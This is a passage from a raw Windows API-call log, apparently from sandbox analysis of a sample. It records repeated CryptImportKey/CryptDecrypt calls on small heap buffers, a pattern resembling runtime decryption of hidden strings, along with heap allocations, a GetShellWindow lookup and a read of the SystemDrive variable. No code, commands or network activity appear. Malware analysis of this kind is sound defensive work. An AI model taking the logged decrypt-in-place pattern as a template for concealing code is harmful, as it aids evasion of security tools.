Size=0xa0) returned 0xa5e360 [0073.018] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e120) returned 1 [0073.018] CryptDecrypt (in: hKey=0xa5e120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e360, pdwDataLen=0x18f3d8 | out: pbData=0xa5e360, pdwDataLen=0x18f3d8) returned 1 [0073.018] CryptDestroyKey (hKey=0xa5e120) returned 1 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e120 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x12) returned 0xa5e130 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e150 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1a) returned 0xa5ca68 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e408 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xc) returned 0xa5dcf8 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e430 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1a) returned 0xa5ca40 [0073.018] GetProcessHeap () returned 0xa40000 [0073.018] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e440 [0073.018] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5dce0 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e450 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x26) returned 0xa5e818 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e460 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x18) returned 0xa5e848 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e360 | out: hHeap=0xa40000) returned 1 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4) returned 0xa5e470 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5ca90 [0073.019] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e360) returned 1 [0073.019] CryptDecrypt (in: hKey=0xa5e360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5ca90, pdwDataLen=0x18f3d8 | out: pbData=0xa5ca90, pdwDataLen=0x18f3d8) returned 1 [0073.019] CryptDestroyKey (hKey=0xa5e360) returned 1 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e480 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5dd10 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca90 | out: hHeap=0xa40000) returned 1 [0073.019] GetProcessHeap () returned 0xa40000 [0073.019] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4) returned 0xa5e490 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5ca90 [0073.020] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e360) returned 1 [0073.020] CryptDecrypt (in: hKey=0xa5e360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5ca90, pdwDataLen=0x18f3d8 | out: pbData=0xa5ca90, pdwDataLen=0x18f3d8) returned 1 [0073.020] CryptDestroyKey (hKey=0xa5e360) returned 1 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e4a0 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1a) returned 0xa5cab8 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca90 | out: hHeap=0xa40000) returned 1 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4) returned 0xa5e4b0 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1a0) returned 0xa5e868 [0073.020] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e360) returned 1 [0073.020] CryptDecrypt (in: hKey=0xa5e360, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e868, pdwDataLen=0x18f3d8 | out: pbData=0xa5e868, pdwDataLen=0x18f3d8) returned 1 [0073.020] CryptDestroyKey (hKey=0xa5e360) returned 1 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e4c0 [0073.020] GetProcessHeap () returned 0xa40000 [0073.020] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e4d0 [0073.020] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e4e0 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e4f0 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e500 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e510 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e520 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e530 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e540 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xc) returned 0xa5dd28 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e550 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xc) returned 0xa5dd40 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e560 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xc) returned 0xa5dd58 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e570 [0073.021] GetProcessHeap () returned 0xa40000 [0073.021] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e580 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e590 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e5a0 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e5b0 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e5c0 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e5d0 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x6) returned 0xa5e5e0 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e5f0 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x16) returned 0xa5e360 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e600 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5dd70 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e610 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5dd88 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e620 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e630 [0073.022] GetProcessHeap () returned 0xa40000 [0073.022] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e640 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e650 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e660 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e670 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e680 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e690 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e6a0 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e6b0 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e6c0 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e6d0 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e6e0 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e6f0 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e700 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e710 [0073.023] GetProcessHeap () returned 0xa40000 [0073.023] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e720 [0073.023] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e730 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e740 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa) returned 0xa5dda0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e750 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e760 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e770 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e780 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e790 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e7a0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e7b0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa) returned 0xa5ddb8 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e7c0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e7d0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e7e0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.024] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e7f0 [0073.024] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5e800 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea28 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea38 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea48 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea58 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea68 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea78 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea88 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ea98 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eaa8 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eab8 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa) returned 0xa5ddd0 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eac8 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ead8 [0073.025] GetProcessHeap () returned 0xa40000 [0073.025] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eae8 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x12) returned 0xa5e380 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eaf8 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x10) returned 0xa5dde8 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb08 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5de00 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb18 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb28 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb38 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa) returned 0xa5de18 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb48 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xa) returned 0xa5de30 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e868 | out: hHeap=0xa40000) returned 1 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4) returned 0xa5eb58 [0073.026] GetProcessHeap () returned 0xa40000 [0073.026] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xc0) returned 0xa5e868 [0073.026] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e3a0) returned 1 [0073.328] CryptDecrypt (in: hKey=0xa5e3a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e868, pdwDataLen=0x18f3d8 | out: pbData=0xa5e868, pdwDataLen=0x18f3d8) returned 1 [0073.328] CryptDestroyKey (hKey=0xa5e3a0) returned 1 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb68 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xc) returned 0xa5de48 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb78 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0xe) returned 0xa5de60 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb88 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x14) returned 0xa5ee28 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eb98 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x16) returned 0xa5ee48 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5eba8 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5ca90 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ebb8 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x22) returned 0xa5e3a0 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ebc8 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ebd8 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ebe8 [0073.329] GetProcessHeap () returned 0xa40000 [0073.329] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x1a) returned 0xa5cae0 [0073.329] GetProcessHeap () returned 0xa40000 [0073.330] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ebf8 [0073.330] GetProcessHeap () returned 0xa40000 [0073.330] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ec08 [0073.330] GetProcessHeap () returned 0xa40000 [0073.330] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ec18 [0073.330] GetProcessHeap () returned 0xa40000 [0073.330] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x8) returned 0xa5ec28 [0073.330] GetProcessHeap () returned 0xa40000 [0073.330] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e868 | out: hHeap=0xa40000) returned 1 [0073.330] GetProcessHeap () returned 0xa40000 [0073.330] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x24) returned 0xa5e3d0 [0073.330] GetShellWindow () returned 0x100f2 [0073.330] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x419a58 | out: lpdwProcessId=0x419a58) returned 0x458 [0073.331] GetProcessHeap () returned 0xa40000 [0073.331] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cb30 [0073.331] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e868) returned 1 [0073.331] CryptDecrypt (in: hKey=0xa5e868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cb30, pdwDataLen=0x18f3d8 | out: pbData=0xa5cb30, pdwDataLen=0x18f3d8) returned 1 [0073.331] CryptDestroyKey (hKey=0xa5e868) returned 1 [0073.331] GetProcessHeap () returned 0xa40000 [0073.331] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cb58 [0073.331] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e868) returned 1 [0073.331] CryptDecrypt (in: hKey=0xa5e868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cb58, pdwDataLen=0x18f3d8 | out: pbData=0xa5cb58, pdwDataLen=0x18f3d8) returned 1 [0073.331] CryptDestroyKey (hKey=0xa5e868) returned 1 [0073.331] GetProcessHeap () returned 0xa40000 [0073.331] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cb80 [0073.331] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e868) returned 1 [0073.331] CryptDecrypt (in: hKey=0xa5e868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cb80, pdwDataLen=0x18f3d8 | out: pbData=0xa5cb80, pdwDataLen=0x18f3d8) returned 1 [0073.331] CryptDestroyKey (hKey=0xa5e868) returned 1 [0073.331] GetProcessHeap () returned 0xa40000 [0073.331] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cba8 [0073.331] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e868) returned 1 [0073.331] CryptDecrypt (in: hKey=0xa5e868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cba8, pdwDataLen=0x18f1b4 | out: pbData=0xa5cba8, pdwDataLen=0x18f1b4) returned 1 [0073.331] CryptDestroyKey (hKey=0xa5e868) returned 1 [0073.332] GetProcessHeap () returned 0xa40000 [0073.332] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x60) returned 0xa5e868 [0073.332] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e8d0) returned 1 [0073.332] CryptDecrypt (in: hKey=0xa5e8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e868, pdwDataLen=0x18f1b4 | out: pbData=0xa5e868, pdwDataLen=0x18f1b4) returned 1 [0073.332] CryptDestroyKey (hKey=0xa5e8d0) returned 1 [0073.332] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0073.332] GetProcessHeap () returned 0xa40000 [0073.332] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cba8 | out: hHeap=0xa40000) returned 1 [0073.332] GetProcessHeap () returned 0xa40000 [0073.332] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x20) returned 0xa5cba8 [0073.332] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e8d0) returned 1 [0073.332] CryptDecrypt (in: hKey=0xa5e8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5cba8, pdwDataLen=0x18f1b4 | out: pbData=0xa5cba8, pdwDataLen=0x18f1b4) returned 1 [0073.332] CryptDestroyKey (hKey=0xa5e8d0) returned 1 [0073.332] GetProcessHeap () returned 0xa40000 [0073.332] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x60) returned 0xa5e8d0 [0073.332] CryptImportKey (in: hProv=0xa5c4b0, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0xa58d34 | out: phKey=0xa58d34*=0xa5e938) returned 1 [0073.332] CryptDecrypt (in: hKey=0xa5e938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa5e8d0, pdwDataLen=0x18f1b4 | out: pbData=0xa5e8d0, pdwDataLen=0x18f1b4) returned 1 [0073.332] CryptDestroyKey 